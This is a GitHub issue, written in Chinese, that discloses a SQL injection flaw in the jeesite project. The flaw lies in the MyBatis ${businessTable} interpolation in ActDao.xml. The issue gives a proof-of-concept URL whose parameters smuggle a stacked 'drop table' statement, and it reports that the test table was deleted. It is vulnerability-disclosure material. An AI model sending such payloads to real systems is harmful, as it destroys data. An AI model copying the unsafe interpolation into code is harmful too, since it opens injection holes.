thinkgem/jeesite

mybatis tablename sql injection

BACMiao opened this issue · 2 comments

sql mappings

以下的**${businessTable}**存在SQL注入的风险

src/main/resources/mappings/modules/act/ActDao.xml
<mapper namespace="com.thinkgem.jeesite.modules.act.dao.ActDao">
    
	<update id="updateProcInsIdByBusinessId">
		UPDATE ${businessTable} SET 
			proc_ins_id = #{procInsId}
		WHERE id = #{businessId}
	</update>
	
</mapper>

RequestMapping

com.thinkgem.jeesite.modules.act.web.ActTaskController 类中的 start 方法

image-20230516154826781

Call Stack

image-20230516154624692

SQL Inject

当用户为jdbc.url添加**&allowMultiQueries=true**并启动程序后,此时Spring允许批量更新,就能进行SQL注入了

image-20230516154115876

测试表为aa表

image-20230516153725737

任意用户执行以下url,

url: http://localhost:8080/jeesite/a/act/task/start?procDefKey=test_audit&title=dd&businessTable=79&businessId=oa_test_audit%20set%20proc_ins_id%20=%20%271%27%20where%20id=%2779%27;drop%20table%20aa;--

Mybatis将SQL进行拼接并删去aa表

image-20230516153844650

再次执行上述url时,此时已经不存在aa数据表

image-20230516153929226

查看mysql,发现aa表已经被删除

image-20230516153902090